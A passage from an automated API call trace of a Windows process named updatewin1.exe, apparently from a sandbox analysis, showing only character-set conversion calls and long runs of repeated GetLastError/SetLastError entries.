¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.547] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.547] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0053.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ") returned 256 [0053.547] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.547] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0053.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$*¦¾\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0053.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ") returned 256 [0053.547] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0053.547] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ劀롲㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0053.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ$*¦¾\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0053.547] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe")) returned 0x5f [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.547] GetLastError () returned 0x0 [0053.547] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.548] SetLastError (dwErrCode=0x0) [0053.548] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.549] SetLastError (dwErrCode=0x0) [0053.549] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.550] SetLastError (dwErrCode=0x0) [0053.550] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.551] GetLastError () returned 0x0 [0053.551] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.552] SetLastError (dwErrCode=0x0) [0053.552] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.553] SetLastError (dwErrCode=0x0) [0053.553] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.554] GetLastError () returned 0x0 [0053.554] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x0, Size=0x68) returned 0x281990 [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.555] SetLastError (dwErrCode=0x0) [0053.555] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.556] SetLastError (dwErrCode=0x0) [0053.556] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.557] GetLastError () returned 0x0 [0053.557] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.558] SetLastError (dwErrCode=0x0) [0053.558] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.559] GetLastError () returned 0x0 [0053.559] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] 